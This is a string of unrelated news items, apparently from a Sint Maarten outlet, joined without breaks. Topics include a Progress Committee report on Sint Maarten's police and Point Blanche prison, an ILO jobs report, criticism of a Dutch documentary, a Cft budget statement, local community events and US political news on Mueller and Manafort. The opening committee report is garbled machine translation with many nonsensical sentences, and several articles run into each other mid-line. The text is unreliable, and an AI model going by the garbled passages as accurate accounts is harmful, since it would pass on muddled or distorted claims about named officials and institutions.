In reports since 2013, the Committee has repeatedly stressed the lack of financial coverage for the implementation of the action plans denounced. While in St. Maarten also the lack of implementation capacity plays a major role, virtually every activity begins with the availability of funds. This requires that the financing of activities from the action plans to find a translation in the budget of the country. The committee has discussed this with the Minister of Finance of St. Maarten. The minister has promised to make the implementation visible in the next budget and also to appoint in the notes to the budget. This will hopefully increase the transparency, but that does not mean there is substantial money for the plans. That is according to the Minister of Finance. He also informed the committee that he very soon will send the amendment to the 2018 budget, which financial space was created for the implementation of the agreements on the return of prisoners from the Netherlands, to the States.

In the interview with the St. Maarten member and employee of St. Martin of the Secretariat of the CFT has been extensively discussed the need to reveal the cost of implementation of the national budget and statutory expenditures. The CFT has expressed its willingness to ensure that it is mandatory expenditures are budgeted. The Committee is pleased that the CFT this time positively responded to his request.

feature Books

The clamping opinions of spite commission from all previous reports from 2010, the commission during this visit once again in no way the conviction that momentum is put behind the formalization of job book of the police and of the land investigation and prison. The Minister of Justice has indicated that he is introducing now leaves by passing an external agency where he was six months ago, said a staff member designated to finalize the explanatory memorandum urgently.

The committee, on the basis of the discussions on this subject in recent years with the various ministers only conclude that a cause is found time and again that do start from the beginning the procedures again. In this way it is a formalization of any function, then also illusory. Although the minister many changes can slow the progression is a reasonable limit exceeded years ago. Previously said the committee about poor employment. The country of St. Maarten is the employer and every minister, resigned or not, representing herein the country's concern for the status of staff. In mid-2016 was signed an implementation agreement with the Minister of Justice with the unions on the book function of the police.

In the implementation of the police report states that four staff have left the force because of the uncertain legal status. It also emerged during the interviews that appointments can only be based on the latest adopted position book to the police; that's the job book that dates from the time when the police was part of the Netherlands Antilles Police.

The commission maintains the urgent recommendation to the ministerial consultations to set a hard date for the introduction of the function booked at the police (the country investigation) and the jail. In concrete terms, the police to the immediate introduction of the book feature which progress committee has issued

a favorable opinion in 2015 and on which the agreement was signed with the unions.

The prison is that the book function, as indicated in the original plan.

The committee points out that determining the function of books is the basis for all other changes, such as provided in proposed changes to plans. Without a good foundation can no satisfactory result can be expected.

Revised plan police

The plan of the police, as approved by the Ministerial Council of Sint Maarten has not been received by the committee for advice.



The Minister of Justice has again promised all documents relating to the revised development plan of the police to be sent to the committee. Up to date, but again received no commission.

implementation Reports

Although the commission has received draft implementation reports, but these do not seem the consent of the Minister. Thus, the accuracy of the figures strength of the police was questioned in a report by the Committee in the ministerial consultations by the minister, while the figures were provided by KPSM and the concept of the report was sent two weeks in vision to the Minister. The Committee, therefore, urged the minister to follow the provisions of the Cooperation Arrangement and the implementation

reports, including those of the police, henceforth to be sent to the commission in an offer letter personally signed by him.

Detention Plan Sint Maarten

During the last ministerial meeting on October 19, 2018, is determined by DJI plan drawn up for the application of sanctions on St. Maarten. It is a plan for an integrated function of detention in St. Maarten; The committee is there much in favor of. The plan is to replace the original plan. The committee has noted

that Minister under Article 23 of the Cooperation Arrangement treatment of a review of a must of action plan includes a recommendation of the committee process. The committee has, however, not received by the Minister plan. The minister has indicated that a program manager the task of translating this policy into an implementation plan that will serve as a new plan. Once the plan is ready, the commission will receive advice, before being adopted at the ministerial meeting. The Committee notes, which was recommended to the Minister in January of this year to appoint a program manager. It is disappointing that it is still not. The Commission, therefore, has not yet gained the confidence that the new plan will be soon and advises the Ministerial Consultation on the Minister to urge an immediately appoint a program manager.



2. Police Force Sint Maarten

As promised by getting sent to the Minister of Justice in the short term commission expects the revised plan of the police for advice.

The committee has expressed concern in previous reports on the growth of the staff of the police. The force currently consists of 166 people including the strengthening of the National Police.

The current police assistance from the Netherlands, 32 people, bringing the inherent strength of the force to 134. The arrangements for the continuation of the strengthening of Netherlands reach in 2020. From that year, the Corps must perform the policing entirely with its own personnel. At best, the influx of the planned courses BPO, the last in 2020 end, 58 people. In this optimal situation, the Corps has about 192 people in 2020. That is still far from the required minimum strength of 270 police officers by the Minister of Justice. It is still not taken into account retirement of staff in the years to 2020.

Clearly, the training capacity should be whether or not extended in conjunction with lateral entry recruitment agents. The Committee expects the Minister of Justice to take all measures that lead to the Corps in 2020 reached the required minimum strength. These measures should begin with the preparation of annual forecast of staff turnover in the corps over the period up to 2022 and the influx of BPO training during that period. The difference of the outcome of the aforementioned target strength of 270 people, the deficit needs to be complemented by sidestream recruitment and/or increase training. Taking into account the natural course of six people per year inflow in four years should be an average of 50 per year.

The minimum strength to be achieved, partly in light of the Mutual arrangement minimum strength police (75 percent executives of the total number of FTEs) can be determined based on the number of FTEs in the revised layout of the police, the commission has yet to receive advice.

The committee calls on the minister's nominee for the post of chief operating with the police to appoint soon.

In the agreements for the extension of the support of the National Police is a bigger mandate for the commissioner to regulate include the financial and personnel matters. The committee discussed this with the Justice Minister, who have indicated preparing them. Also this opinion several years in the reports of the committee. The Committee therefore now require the Minister a specific date that can be entered and the contents.

ICT police and border control

the joint management organization under the common control border control is funding the participation of

Sint Maarten for the arranged next two years. Although the required contribution is transferred to the management organization to Sint Maarten, the amount has not been transferred to the management organization. The Finance Minister has assured the committee that the transfer will be done very soon. Connection Actpol / BMS would still take place before the New Year.

3. Prison Point Blanche

Because the committee at each working visit to the Public Ministry and the St. Maarten board member of the Law on the detention speaking time was agreed to visit the prison threesome. The attention was focused on the return of prisoners from the Netherlands and Curacao and where to accommodate and the state of security. The observations were not encouraging, on the contrary. The outer wall is at a height, but has yet to be provided with electronic security. The outer protection by marines ends on November 1 and was not clear how the security is settled after that date. The shooting towers are manned by unarmed private security guards. The cells leak, lack proper locks and the fire alarm system is not working. In the short term there will be a lot of work to make some habitable cells. Of the appointments of 19 October is

still much in order. Rehabilitation of any absence.

A selection committee consisting of representatives of stakeholders (dept. Justice, OM, guardianship council, KPSM) has made a nomination for a new director and sent to the Minister. The minister told the committee within a week to decide on the appointment. So far however no decision.

return detainees

The OM and the Council for Law Enforcement is the progress committee believes that Prison is not ready to accommodate in a responsible manner recurring inmates, for the reasons as mentioned above. The most important are the lack of a director and staff, broken security and very inadequate housing. It is significant

that cells after rain blank to be mopped and the custodian / star with a bunch of keys run padlocks because the locks are faulty.

appointment list

Between the Prime Minister, the Minister of Justice and Minister of Finance on the one hand and ministers of the Netherlands on the other hand, has agreed a list of agreements on October 19, 2018 the Minister undertook to complete a list of recovery points within a few months and the prisoners from Netherlands phased return to St. Maarten from mid-November. It will be a way round the points on that list have completed within two months. Besides the availability of funds and resources, only a well-coordinated action, most of the points can be carried out within the prescribed time. The committee spoke to the minister, but he could not convince the commission of a coordinated approach to implement in the short term list.

feed. The Committee has observed that change in strength. The doubts are also fueled by the fact that by November 1 has ended the contract with the SG of Justice and which function is performed by the head of the minister's cabinet, which further reduces the capacity of the ministry. In the following report, the commission will in particular focus on the results of the appointment list. The committee will thereby also use the biweekly reports from St. Maarten to the State Secretary of the Interior.

Miss Laliecentre

The committee was pleased to learn of the director of the Guardianship Board which is being actively worked on the reopening of the Miss Laliecentre.

4. Summary of recommendations and advice

1. The Commission maintains the opinion of the ministerial consultations to set a hard date for the introduction of the function booked at the police (the country investigation) and the jail. Specifically with regard to the immediate introduction of the book feature which progress committee has issued a favorable opinion in 2015 and on which the agreement was signed with the unions.

2. Advises the Ministerial Consultation to urge the Minister to an immediately appoint a program manager.

3. Develop a common scheme to get the enforcement order and ensure the security of the country.

4. submit the minister to instruct Justice haste revised action plans for police and prison to the committee for advice.

5. The inviting government of the country in the budgets for 2019 and subsequent years adequate and visible, to make resources available to implement the plan of action of the police and prisons in St. Maarten

Recommendations from the previous report:

6. The Committee strongly recommends the Minister of Justice to reorganize the Ministry of Justice and clean up the plan. This is a prerequisite for the successful implementation of the plans of the police and the prison.

7. The Committee urges the Minister on the nominee for the post of chief operating with the police to appoint soon.

Full Report submitted by Progress Committee.GENEVA (ILO News):--- Poor quality employment is the main issue for global labour markets, with millions of people forced to accept inadequate working conditions, according to a new report from the International Labour Organization (ILO).

New data gathered for the World Employment and Social Outlook: Trends 2019 (WESO) show that a majority of the 3.3 billion people employed globally in 2018 had inadequate economic security, material well-being and equality of opportunity. Whats more, progress in reducing unemployment globally is not being reflected in improvements in the quality of work.

The report, published by the ILO, cites the persistence of a number of major deficits in decent work, warning that, at the current rate of progress, attaining the goal of decent work for all, as set out in the Sustainable Development Goals (SDGs), particularly SDG 8, seems unrealistic for many countries.

SDG 8 is not just about full employment but the quality of that employment."

Deborah Greenfield, ILO Deputy Director-General for Policy

SDG 8 is not just about full employment but the quality of that employment, said Deborah Greenfield, ILO Deputy Director-General for Policy. Equality and decent work are two of the pillars underpinning sustainable development.

The report cautions that some new business models, including those enabled by new technologies, threaten to undermine existing labour market achievements  in areas such as improving employment formality and security, social protection and labour standards  unless policy-makers meet the challenge.

Being in employment does not always guarantee a decent living, said Damian Grimshaw, ILO Director of Research. For instance, a full 700 million people are living in extreme or moderate poverty despite having employment.

A full 700 million people are living in extreme or moderate poverty despite having employment."

Damian Grimshaw, ILO Director of Research

Among the issues highlighted is the lack of progress in closing the gender gap in labour force participation. Only 48 percent of women are in the labour force, compared to 75 percent of men. Women also make up far more of the potential, underutilized, labour force. Another issue is the persistence of informal employment, with a staggering 2 billion workers  61 percent of the worlds workforce  categorized as such. Also of concern is that more than one in five young people (under 25) are not in employment, education or training, compromising their future employment prospects.

The annual report also highlights some pockets of progress. Should the world economy manage to avoid a significant downturn, unemployment is projected to decline further in many countries. There has also been a great decrease in working poverty in the last 30 years, especially in middle-income countries, and a rise in the number of people in education or training.

Main regional findings:

Africa

 Only 4.5 percent of the regions working age population is unemployed, with 60 percent employed. However, rather than indicating a well-functioning labour market, this is because many workers have no choice but to take poor quality work, lacking security, decent pay and social protection.

 The labour force is projected to expand by more than 14 million per year. Economic growth rates until 2020 are expected to be too low to create enough quality jobs for this fast-growing labour force.

Northern America

 Unemployment is expected to reach its lowest level, 4.1 per cent in 2019.

 Both employment growth and economic activity are projected to begin declining in 2020.

 People with basic education are more than twice as likely to be unemployed as those with advanced education.

 The sub-region is a leader in digital labour platforms. Close monitoring of such work is a growing issue for policy-makers.

Latin America and the Caribbean

 Despite rebounding economic growth, employment is expected to rise by only 1.4 per cent per year in 2019 and 2020.

 The relatively slow fall in regional unemployment figures is a result of different labour market conditions in individual countries.

 Informality and poor job quality remain pervasive in all types of employment.

Arab States



 Regional unemployment is projected to remain stable at 7.3 percent until 2020, with unemployment in non-Gulf Cooperation Council (GCC) countries reaching double that of the GCC.

 Migrant workers account for 41 percent of total regional employment, and in GCC countries more than half of all workers are migrants, on average.

 The womens unemployment rate, at 15.6 percent, is three times that of men. Youth are also disproportionately affected and the youth unemployment rate is four times the adult rate.

Asia and the Pacific

 Economic growth continues, albeit at a slower rate than in previous years.

 The regional unemployment rate is projected to remain at around 3.6 percent until 2020, below the global average.

 Structural transformation has moved workers out of agriculture, but this has not created significant improvements in job quality; a large proportion of workers lack job security, written contracts and income stability.

 While social protection has been significantly extended in some countries, it remains extremely low in those countries with the highest poverty rates.

Europe and Central Asia

 In Northern, Southern and Western Europe, unemployment is at its lowest in a decade and is set to continue falling until 2020.

 In Eastern Europe the number of people in employment is expected to shrink by 0.7 percent in both 2019 and 2020, but a simultaneously shrinking labour force means the unemployment rate will fall.

 Long-term unemployment is as high as 40 ppercentin in some countries.

 Informality remains widespread, at 43 per cent, in Central and Western Asia.

 Working poverty, poor job quality and persistent labour market inequalities remain concerns.

https://www.ilo.org/global/about-the-ilo/newsroom/news/WCMS_670171/lang--en/index.htm



World Employment and Social Outlook: Trends 2019



The report in short: The trends in world employment 2019

What are the key findings of the ILO's "World Employment and Social Outlook - Trends 2019" report? Stefan Kuhn and Erika Xiomara Chaparro Perez, Economists from the ILOs Research department explain.PHILIPSBURG:--- University of St. Martin (USM) President Antonio Carmona Baez publicly denounced a Jeroen Pauw documentary on Sint Maarten aired on Dutch television (NOS) last Monday, 11 February. The television presenters 45-minute documentary entitled Pauw op Sint Maarten, which reportedly had 719.000 viewers, was criticised for its use of stereotypes and poor lack of representation of the Sint Maarten People.

Dr. Carmona Baez, a social scientist, stated that the documentary only reinforced stereotypes of the helpless and weak St. Martiners that are not able to fend for themselves and must depend on the colonial powers to save the country because the government is corrupt.

I spent an hour being interviewed and prepped by the crewmembers on Saturday, 26 January. Pauw finally came by to USM campus on his last evening, Thursday the 31st, to interview me and our student of Education, with whom he talked for a good 15 minutes. Somehow, our stories did not fit into his prefabricated narrative of victimhood, said Carmona in written statements to the press.

Jeroen Pauw and his crew found their way to USM but consciously chose to censure any voices from the students, faculty or staff. While being prepped a week before Pauws arrival, Carmona Baez was instructed to give a positive story about recovery efforts and asked to identify a student who might want to be briefly interviewed.

On Monday morning, Dr. Carmona received a confusing message from Pauws assistant, Marjolein Bax, stating that they had no more space and that themes did not fit into their story.

Thats a pity, because I wanted the Netherlands to know that on Sint Maarten, we have strong, hardworking people who study to make a difference for their fellow countrymen and future generations. We have teachers, scientists, engineers, planners and architects with opinions.

USM was alerted of the Dutch television presenters visit weeks ahead of time, and for a moment it looked like NOS was interested in getting a balanced view on what has happened to the island since recovery efforts began in September 2017. However, not a single expert or scientist from Sint Maarten was interviewed.

Instead, Pauw insisted on infantalising indigent victims, making a caricature of how they deal with their precarious housing. The only experts were white Dutch people. Black St. Martiners were the victims, the sad, the helpless.

Prime Minister Leona Marlin-Romeo was also put under a humiliating spotlight, as she was asked to talk mostly about her emotions. Later, Jeroen Pauw asked the Prime Minister is 500 million too much for your government to handle? and do you think it is a pity that the money went to the World Bank and not directly to you?.

Jeroen Pauw began to talk about corruption as soon as there was footage in the government building. His only reliable source was Frans Weekers, who assured Dutch viewers that corruption is alive and well on Sint Maarten. Meanwhile, current Sint Maarten Representative to the World Bank Mr. Marcel Gumbs only got to talk about his need to go see a Dutch psychologist.

The documentary mentioned that there was a lack of skilled construction men but nothing was stated about the recent (then upcoming) graduation of certified construction workers trained at the National Institute of Professional Advancement (NIPA) -another good news story that would have portrayed empowerment instead of victimhood.

In Dutch media it is commonplace to make the Caribbean part of the Kingdom synonymous with corruption and helplessness; this documentary feeds into the already existing prejudices. It is distasteful, colonial and borders on racism, Carmona concluded.PHILIPSBURG:--- The Board of financial supervision (Cft) looks with interest forward to receiving the revised 2019 budget plus the plans to reform the tax authorities and get the financial management in order. The Cft discussed the revision of the budget with the Minister of Finance and made an appeal to finalize the plans in the short term.

Since the beginning of this year, Sint Maarten has been working on a revised budget for 2019. In line with earlier advice from the Cft, the budgeted expenses have been adjusted downwards, which resulted in a lower deficit. In order to turn the deficits into structural surpluses, Sint Maarten intends among others to reform the tax office and has drawn up a draft plan for this purpose. The Cft acknowledges the need to strengthen the tax office, so that tax compliance will increase, allowing for the government revenues to rise further. Cft has advised Sint Maarten to take the necessary steps so that the implementation can be started shortly. This advice also applies to the plan to improve financial management. In October, Sint Maarten promised to submit an improvement plan in the short term, which will lead to an unqualified auditors' report on the 2021 financial statements.

Cft has called for short-term cost-saving measures for healthcare and pension expenditures. Cft expresses its disappointment since the promised adjustment of the pension legislation has not been implemented prior to January 1st, 2019. The legislation was presented to Parliament in time in 2018 and has nonetheless not yet led to decision-making. As regards to its payment arrears, it is important that Sint Maarten government reaches payment agreements with the most important creditors (SZV and APS), which in turn will have to be complied with.



Cft has again requested attention for the completion of the accountability process of the previous years. The financial statements for 2013 and 2014 have been submitted to Parliament in 2018, but have not yet been approved. The 2015 and 2016 financial statements have not yet been submitted to Parliament. The financial statements of 2017 and 2018 still have to be drawn up.

Figures for 2018 show a lower deficit than budgeted. This is mainly a result of higher revenues compared to the budget; especially tax revenues. The deficit is admittedly decreasing; nevertheless, Sint Maarten will need liquidity support for 2018 and 2019. Sint Maarten has requested the Netherlands for this liquidity support, which will increase the debt to GDP ratio. An intended loan for capital expenditures and possible other financing matters may also affect the course of the debt to GDP ratio. The Cft will monitor the development of the debt to GDP ratio with the aim to keep it at a sustainable level.

The Board of financial supervision Curacao and Sint Maarten visited Sint Maarten from February 11th to 13th and held meetings with the Governor, the Minister of Finance, the Council of Ministers, the Council of Advice, the Director of the National Recovery Program Bureau and the Social and Health Insurance Agency (Uitvoeringsorgaan Sociale en Ziektekostenverzekering).

The draft budget 2019

Sint Maarten is in the process of presenting a revised draft budget 2019. The 2019 budget is planned for discussion in the meeting of the Kingdom Council of Ministers on the 22nd of March. The Cft was asked to advise the Kingdom Council before the 5th of March.

Based on the information yet provided, the projected regular income and expenditures for 2019 seem reasonable. I must add that although the quality of the budget has improved significantly, it does not fully meet all requirements.

Due to uncertainties regarding the financing of projects to be executed in the coming years, the capital expenditures budget raises some concerns. It is not yet clear which major projects will be funded through the capital budget and which projects will go through the Trust Fund. We have discussed this matter with the minister of finance and recommend the government to finalize the financing aspects of these projects. According to the Kingdom Act on financial supervision governments loans must be submitted to the Cft for advice. Furthermore, all proposed loans and investments must be included in the budget. Therefore, we have advised the government of Sint Maarten to have a clear outline of the capital expenditures and the financing thereof.

Economic growth and debt

The IMF recently published their so-called article 4 consultation and made the following forecast. In a scenario without any adjustment on the revenue and spending side after 2018, the debt path will be unsustainable, with the debt rising to 49 percent of GDP in 2019 and reaching 72 percent by 2023. The IMF recommends income increasing measures for the coming years and to implement short as well as long term measures to ensure a balanced budget.

For 2019, the IMF and also CBCS projects an economic growth of more than two percent. This is based on the recovery of tourism industry and the strong investment for reconstruction. Thus far, we have taken notice of the reconstruction efforts and commend the Sint Maarteners for the progress made thus far. Tourism is picking up and the cruise and cargo results for 2018 were better than expected.

Liquidity support

Sint Maarten needs remaining liquidity support for the year 2018 and new support for the year 2019, due to budget deficits. This support, as well as other possible financing matters, will lead to an increase of the debt-to-GDP ratio. The Cft will monitor the development of the ratio, given the importance of maintaining a sustainable level.

Reform of the tax office

The financial recovery plan, which was presented last year, highlighted two major projects: the reform of the tax office and the financial management improvement plan. During the past years, the Cft has stressed the importance of improvement in both areas.

As also illustrated in the financial recovery plan, there is the need to increase the tax income to achieve a surplus on future budgets. This will make Sint Maarten no longer dependent on the current liquidity support and even lowering the debt to GDP ratio. Given the size of both projects mentioned it is advisable to properly evaluate the business case and we advised minister Geerlings to do so.

Financial Management

During the previous visit in October 2018, the Cft and the minister of finance made the agreement that Sint Maarten will work towards a unqualified audit opinion on the 2021 financials. The board has understood that the new improvement plan is to be approved by the council of ministers. However, financial management is more than just an unqualified audit opinion.

It is important for the government to invest in its staff and their resources and to make sure every minister and ministries understands the importance of having sound public finances. Therefore, as we understand, the financial management project will include specific training to improve the financial reporting in all the ministries.

Payment arrears

Part of the 2015 instruction was to reduce the payment arrears of the government. As disclosed in the draft budget 2019, Sint Maarten ended the year 2018 with around 150 million guilders in payment arrears, of which around USD 90 million to SZV and USD 40 million to APS. This is almost 15% of GDP! The Cft advised the government to make realistic formal settlement agreements with the relevant institutions and we agreed to be informed on this in due course.

Financial statements

The budget and reporting cycle for the years 2013-2017 has not been completed. Although the reports of the accountants, the Cft and audit chamber are published, the financial statements for 2013 and 2014 must still be approved by the Parliament and the financial statement for 2015 is not yet presented to parliament by government. The process towards getting the mentioned financial statements to parliament has taken a considerable amount of time and is in violation of local ordinance.

In addition, the Cft has not yet formally received the 2016 financial statements accompanied by the findings of the SOAB and the General Audit Chamber. We did take notice of the report by the audit chamber. Although the number of errors is becoming lower, there are still major shortcomings in financial management. For almost all items in the annual accounts, this has led to uncertainty on the correctness and the completeness of the amounts. According to the latest planning received, the 2017 financial statements will be presented to parliament in the second quarter of this year. In our meeting with the cabinet, we have advised cooperation by all ministries to ensure that this target is met as the deadline in the ordinance was the 31st of August 2018.

Budget performance 2018

The budget deficit for the first three quarters of 2018 amounted to 71.5 million guilders. Based on the report on the month of November the budget deficit until then was 87.6 million guilders. These are preliminary amounts, but it shows a much lower deficit, mainly because income is on a higher level than expected. That is positive news and Illustrates the increasing economic activity in Sint Maarten.

The 2015 targeted instruction from the Kingdom Council

In November 2018 Sint Maarten reported on the follow-up of the instruction. The Cft issued an advice accompanying this letter at the request of the State Secretary of the Interior and Kingdom Relations. Let me mention two points.

Healthcare system

With respect to the reform of the healthcare system, the Cft advises to strengthen the cost-cutting measures already in short term in order to reduce the current deficits and make the healthcare sector more financially sustainable. This morning we discussed this issue with SZV and they stressed the importance as well.

Pension reform and old age provision

The cost savings as a result of the pension reform for civil servants are included in the new draft budget 2019. This reform is set to be enforced on the first of May 2019. The proposed date is feasible only if the new pension scheme passes through parliament on a short term. The Cft express its disappointment that until present day, no decision has been made by parliament. The missed cost savings of not implementing this pension scheme as per January first amounts to several millions and this negative effect on the budget performance will increase if implementation is further delayed.

Furthermore, we discussed an increase of the AOV age from 62 to 65 years. Currently, Sint Maarten is the only country in the Kingdom were this age for the public pension scheme is not 65 or higher. The Cft advised this change in order to increase the sustainability of the public finance. In ageing society such reforms are necessary to keep the AOV and other public institutions affordable and available for the next generation.

In conclusion, the main message of our board is to go forward with the course that is set by the government and to speed up the process where possible also in the interest of the budget and the people of Sint Maarten.

Thank you for your attention.PHILIPSBURG:--- For the fifth year in a row, K1 Britannia Foundation is once again taking part in the annual SXM DOET event. The foundation will be hosting two projects aiming to stimulate reading and storytelling throughout the community. SXM DOET is an initiative that facilitates island-wide volunteering, which encourages altruism and community bonding. This initiative ensures that the community organizations get the help they need while cultivating a sense of fulfillment for the volunteers.

On Friday, March 15th, K1s main project is Help build little free libraries, which is in need of 7-10 volunteers.

The inspiration behind the project is seeing the recent temporary closure of the St. Maarten Jubilee Library, and the need to facilitate learning and leisurely reading because of easy access to reading materials.

By placing creative wooden libraries in communities, K1s ultimate goal is to inspire the community and encourage persons to share their favorite book with a complete stranger, with the opportunity to take a book. The idea is to invoke the spirit of giving, trust and community building.

Volunteers will be building five Little Free Libraries to be placed in community areas. The building process will require the assembly of wood, the fastening of hinges, and painting and beautification of the bookshelves. The team will need to use their team building, communication, and creative skills to work together to build a mini library from scratch.

K1 would like to encourage not only families, friends, colleagues to sign up but a special focus on construction workers, carpenters, builders and anyone with skills and interests in carpentry to assist with the project.

K1 Britannia Foundation has a great focus on volunteerism through its local and international volunteer program and strongly believes in SXM DOETs mission to help encourage volunteerism and community service, by showing how fun, creative, and gratifying volunteering can really be.

To sign up as a volunteer for SXM DOET, please visit www.sxmdoet.com and search for K1 Britannia, which will direct you to our projects.

For more information about the K1 Britannia Foundation, visit www.k1britanniafoundation.org, www.facebook.com/K1SXM, email This email address is being protected from spambots. You need JavaScript enabled to view it. or call +1-721-543-3332.St. Maarten:--- Every year in February, Havana turns into an interesting scene for Writers, Publish houses, Editors, distributors, literary agents, librarians, illustrators, booksellers and especially readers, lovers of the writing word. Most of them come from Cuba, but so many travels from elsewhere in the world to Havana to experience the greatness of the Feria International del Libro. So, does, this year a delegation of 12 book writers, poets, novelists, scriptwriters from the Dutch Caribbean countries Aruba, Bonaire, Curacao, and Sint Maarten. Loekie Morales is amongst them also invited by the organizers of the Feria del Libro, to present 3 of her books that are published in the Spanish language, namely: La Magica Tarta Nupcial (The Magic Wedding Cake), Chella y la Mujer Misteriosa (Chella and the Weird Woman) and La Sangre Llama (Overseas Bloodline).

Havana, the capital of Cuba is celebrating this year its 28th "Fair international of the book in Cuba" (FIL Cuba), from the 7th to 17th of February. It takes place in various locations in and around Havana. It is still headquartered in the fortress of San Carlos de La Cabana in Havana. It is all by all a big party of letters, words, sentences, to be experienced by families and to acquire works of universal renown literary works at popular prices.

The international book fair in Cuba is conceived as a space for dialogue, and promotion of literature of more than forty countries, with their authors, usually participating in the event. The festival offers to authors, publishers, distributors, literary agents, librarians, illustrators, and booksellers its present main wealth: a mass readers public, prepared in the most diverse fields, and with the ability and willingness to participate in the cultural dialogue. Some of the main activities are meetings, colloquia, tributes, panels, lectures, readings, awarding and book presentations.

Some Dutch Caribbean writers are participating actively to this prestigious festival by interacting with mainly Caribbean and Latin American authors, publish houses and readers, by giving several presentations of their literary works. They will also portray the culture and traditions of the Caribbean islands where they come from. From Aruba, Desiree Correa and Olga Buckley; From Curacao, Diana Lebacs, Ronny Lobo, Hilda de Windt Ayubi, Francis de Windt, Roselyn Jesserun, Krishna Panday, From Bonaire Denise Request, and from Sint Maarten Loekie Morales. The late Dutch-Curacao author Roel Jungslager has gotten a commemoration and post recognition for his literary works, especially his Cuban stories for children. His widow Sylvia Jungslager received this Cuban recognition with proud, as well as his other Dutch Caribbean colleagues.

I am very happy to be invited for the 3rd time to this prestigious festival. I get the chance to meet with several people with creative minds of not only the Caribbean and Latin America, but also from some European countries. Those meetings and the nice reactions during the presentations, will be a big inspiration to continue writing, despite the ups and downs that sometimes comes with the writing process and the publishing trajectory of my works.

We will be visiting the famous Casas de Las Americas to deliver a copy of our books to reach the wider Caribbean and Latin American readers with our literary works. Therefore, I am very happy that many years ago I saw the importance of publishing my books in more languages: Dutch, English, Spanish and Papiamentu/Papiamento, Morales stated in a release.PHILIPSBURG:--- Lion Ephraim Leslie, PMJF District Governor for Lions Sub-District 60B for the Lions year 2018-2019 rounded off his official visits to Lions Zone 2-B (Saba, Sint Eustatius and Sint Maarten) when he paid his official visit to the St. Maarten Alpha Leo Club, the St. Maarten South Omega Leo Club and the St Maarten Lions Club.

The district governor congratulated the excellent work that the St. Maarten Lions Club has been doing in the community despite the challenges of the club membership experienced with the passing of Hurricane Irma in September 2017. After having been updated on the various community projects executed by all three clubs the District Governor brought those in attendance up to date on Lions Internationals Core Areas of Service for the coming three years.

LCIs Global project is geared towards raising US$ 300 million in the coming three years of which funds will be spread throughout the world to assist wherever necessary to combat poverty and hunger. Every individual Lion member worldwide can personally contribute to this goal on a monthly basis to in this way personally giving those in need a better quality of life.

District Governor Ephraim also stressed on the launching of District 60B Forward which is the districts five year strategic plan with goals and core areas: Diabetes Awareness and Education with prevention through education, Leos and Youth Affairs with training to take on more significant roles and making the transition to becoming a Lion easier, Developing the Lion as Individuals to take on Leadership Roles inside the clubs and District and identifying at least one Lion in each club and provide training for leadership roles at higher levels (District & Beyond).New York: Expectation is growing that US President Donald Trump will agree to a bipartisan compromise deal that would avoid a second federal government shutdown and deliver some funding for his promised border wall.

Politicians in Washington DC were hustling on Wednesday, local time, to prepare legislation that could pass Congress and be signed by Trump in the two days remaining before government agencies are due to start closing again.

Trumps mercurial style means that nothing can be guaranteed, and no-one in Washington is ruling out the chances of the President changing his mind at the last minute.

But the previous 35-day shutdown was universally viewed as a political disaster for Trump and there is no appetite in his administration for another one.The new details provide a rare hint at what Mueller is examining in the final stretch of his nearly 21-month-old investigation - and underscore his deep interest in the Grand Havana Club gathering, which ended with the three men leaving through separate doors, as Judge Amy Berman Jackson noted. Weissmann said in the hearing that one of the special counsel's main tasks is to examine contacts between Americans and Russia during the 2016 race and determine whether Trump associates conspired with the Russian-backed interference campaign. "That meeting - and what happened at that meeting - is of significance to the special counsel," he said pointedly. The hearing was held in a closed courtroom and only a partial transcript was released because the special counsel has argued public disclosure of the issues discussed could harm "ongoing law enforcement investigations".

A spokesman for Mueller declined to comment. A spokesman for Manafort, who prosecutors have alleged breached a cooperation agreement by lying to investigators, also declined to comment. Manafort has pleaded guilty to a series of crimes related to consulting work he did in Ukraine. He has not been accused of coordinating with the Russians to tilt the election. Kilimnik, who prosecutors have charged with working with Manafort to obstruct the investigation, did not respond to a request for comment. Loading In a 2017 statement to The Washington Post, he denied any connection to Russian intelligence. Kilimnik said the Grand Havana Club meeting had nothing to do with politics or the presidential campaign. Instead, he called the session a "private" visit, during which he and Manafort gossiped about "bills unpaid by our clients" and the political scene in Ukraine, where Manafort had worked as a political consultant for a decade before joining Trump's campaign. Red flags

There have long been questions about why Manafort would break away from his duties running Trump's campaign to meet with his Russian employee, an encounter The Washington Post first reported in 2017. Rolf Mowatt-Larssen, a former CIA official who now teaches at Harvard University's Belfer Centre for Science and International Affairs, said that episode raises many red flags. Manafort "goes way outside the normal bounds of behaviour", Mowatt-Larssen said. A former senior US intelligence official, who spoke on the condition of anonymity because of the ongoing investigation, called the details about what occurred at the Grand Havana Club gathering "the most interesting and potentially significant development we have seen in a long time". Prosecutors have alleged that among the false statements Manafort made to investigators during his interviews in recent months were key lies about the August 2 meeting and other interactions with Kilimnik.

Manafort's lawyers have acknowledged he gave incomplete and sometimes conflicting information during 12 interviews and two sessions in front of a grand jury. But they said he did not intend to lie, but was instead confused and at times forgetful. Rick Gates, former deputy campaign manager for Donald Trump, exits a federal courthouse. Credit:Bloomberg On Wednesday in the US, District Judge Amy Berman Jackson later ruled Manafort breached his plea agreement with Special Counsel Robert Mueller's office by lying to prosecutors. She found there was a "preponderance" of evidence that Manafort lied on three different topics, including his communications with his former business partner Konstantin Kilimnik, but she cleared Manafort of allegations that he intentionally lied on two other subjects. The Grand Havana Club meeting took place during a critical moment in the 2016 race.

Less than two weeks earlier, the issue of Russia's role in the campaign had exploded into view when WikiLeaks published thousands of emails stolen from the Democratic National Committee. Democratic candidate Hillary Clinton's supporters immediately fingered Russia in the hack, a view later embraced by US intelligence agencies. Instead of condemning the Kremlin, Trump mockingly asked Russia to find emails Clinton had deleted while serving as secretary of state. "Russia, if you're listening, I hope you're able to find the 30,000 emails that are missing," he said at a July 27 news conference. Trump also made a series of public statements in July that appeared to echo Kremlin talking points on foreign policy. In an interview with the New York Times, he questioned the US commitment to defending NATO partners from Russian aggression. Then he promised to look into recognising Russia's invasion of Crimea. The Grand Havana Room bills itself online as a members only cigar club. Credit:Grand Havana Room "You know, the people of Crimea, from what I've heard, would rather be with Russia than where they were," he said in an ABC News interview July 31.

In court last week, prosecutors focused on Manafort's choice to meet with Kilimnik in person during this period. Loading "There is an in-person meeting at an unusual time for somebody who is the campaign chairman to be spending time and to be doing it in person," Weissmann said. At the same time, Manafort was strategising about how to use his prominent role with the Trump campaign to halt a personal financial spiral, court records show. He owed millions in property taxes and for home improvements, insurance policies, credit cards and other debts, according to documents introduced during his trial in Virginia last summer.

